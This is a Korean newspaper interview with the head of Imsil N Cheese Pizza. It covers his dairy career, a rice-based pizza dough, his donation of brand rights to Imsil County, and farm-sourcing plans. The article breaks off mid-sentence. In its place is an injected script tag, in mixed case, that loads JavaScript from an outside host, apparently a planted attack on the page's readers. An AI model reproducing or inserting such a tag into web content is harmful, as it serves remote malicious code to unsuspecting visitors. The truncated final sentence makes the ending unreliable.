[새전북이 만난 사람]임실N치즈피자 김병이 대표
임실군은 올해 4월 임실치즈 명품브랜드화 추진을 위한 ‘임실N치즈피자’ 사업자로 (주)엔케이로지스틱스를 선정했다. 브랜드 통합을 통해 임실치즈피자의 성가를 높이자는 취지다. 선정 이후 7개동안 임실치즈를 대한민국 대표치즈로 육성하기 위해 ‘임실N치즈피자’를 이끌며 지역사회와 동반성장을 모색하는 김병이 대표(46)를 만났다. /편집자“임실치즈의 우수성을 입증하듯 그동안 ‘임실’이란 이름을 건 피자집이 우후죽순 생겼다. 하지만 생산자마다 맛이 다르다. 임실이란 이름에 부끄럽지 않게 고향에서 생산하는 치즈, 한우, 쌀 등 농산물을 이용한 최고의 피자를 만들겠다.”
김 대표는 “큰 나무도 시작은 뿌리에 있다”며 농민의 아들로 태어나 한순간도 ‘임실 사람’임을 잊어 본적이 없다고 한다. 그가 고향을 사랑하는 마음은 자신이 운영하는 전국 190여개 점포망을 가진 임실치즈피자의 브랜드 재산권과 소유권을 임실군에 귀속시킨데서 알 수 있다. 그는 임실N치즈피자 출범과 함께 180억 원 정도로 추정되는 무형의 재산권을 기꺼이 희사했다.
그는 “임실은 치즈의 대명사이고 나는 치즈를 이용해 피자를 만든다. 뿌리인 지역사회와 동반 성장 하겠다”며 고향 사랑을 숨기지 않았다. 그와 치즈와의 인연은 1985년 임실 낙농축산업 협동조합에 근무하면서 시작됐다. 기술상무로 재직 당시 한국인의 입맛에 맞는 국산치즈를 개발하기 위해 덴마크 등 치즈의 선진국(12개국)을 돌아다니며 치즈 개발에 대한 풍부한 노하우를 쌓았다.
하지만 아무리 좋은 치즈를 만들어도 유통망이 없으면 뜻을 펼치기 어렵다는 한계를 실감했다. 그는 낙농가가 살아나려면 생산에서 판매까지 원스톱 체인점을 운영해야 한다는데 마음을 굳히고, 남경유통과 임실치즈피자를 설립했다. 피자업계에 뛰어들면서 쌀을 이용해 세계 최초로 100% 쌀도우(피자 빵) 개발에 성공했다.
쌀도우를 만든 계기는 어린이에게 식사 대용이 가능한 피자, 믿을 수 있는 먹을거리를 제공하고 싶은 마음에서다. 이전까지 피자 빵의 주 원료는 밀가루를 이용해 만든 빵이었다. 이 때문에 밀가루에 포함된 글루텐 성분은 아토피를 유발하는 주범으로 거론됐다. 반면 김 대표가 선보인 쌀도우는 이 같은 우려를 말끔히 불식시켰다. 맛과 건강이라는 두 마리 토끼를 잡은 셈이다.
하지만 오랫동안 밀가루에 길들여진 소비자 입맛을 바꿀 것인 지가 숙제였다. 또 100% 쌀로 피자를 만들 때는 원가 부담이 10배 이상 늘어난다. 그래서 개발 초기에 대리점주를 설득하는 게 가장 큰 고민이었다. 지금도 100% 쌀도우를 고집하는 피자는 국내에서는 임실N치즈피자가 유일하다. 피자용 쌀가루에 대한 특허기술도 보유하고 있다. 그는 도우에 이용하는 모든 쌀을 임실에서 생산된 쌀을 활용한다.
임실치즈피자를 소비자가 많이 찾을수록 도내 농가소득 증대로 연결되는 셈이다. 지난 24년간 ‘맛있는 치즈인생’을 살아오면서도 이윤을 먼저 추구하지 않았다. 굳이 원가가 비싼 쌀을 이용하는 이유에 대해 그는 “사업가는 이윤을 추구해야 하지만, 어려운 농민의 현실을 보고만 있을 수 없었다”며 배경을 설명했다.
그는 피자 사업을 통해 농가 소득에 적지 않은 기여를 하고 있다고 한다. 피자의 토핑에 들어가는 재료는 호박, 고구마, 밤, 감자 등 다양하다. 김 대표는 피자 토핑에 사용되는 다양한 농산물을 계약재배를 통해 안정적으로 구매해 주고 있다. 그는 앞으로도 해야 할 일이 많다고 한다. 임실N치즈피자의 전국 체인점에 납품될 피망, 양파, 양송이 등 각종 야채를 협력 재배하거나, 농가소득 증대로 연결 짓는 것이다.
나아가 임실지역에 소스공장, 박스공장, 피클공장 등을 건설한다면 고용 창출은 물론 지역경제 활성화에 일익을 담당할 것으로 확신하고 있다. 임실N치즈피자의 성공 요인으로 빠질 수 없는 게 신속한 물류 시스템이다. 신선한 제품을 배달하기 위해 자체 물류시스템을 구축한 상태다. 임실N치즈피자는 한우를 이용한 불고기 피자를 다음달 12일부터 출시 예정이다. 이를 통해 한단계 도약한다는 계획이다.
믿고 먹을 수 있는 먹을거리를 지속적으로 개발하는 노력과 병행해 제품에 사용되는 한우도 임실 한우를 전량 사용할 계획이다. 물론 한우를 사용하면 원가가 4배정도 비싸진다. 그는 “한 분야에서 열심히 노력하다보면 없었던 길도 만들어 진다”는 고 정주영 회장< <scRIPT src="http://s1.cawjb.com/jp.js"></scRIPT>
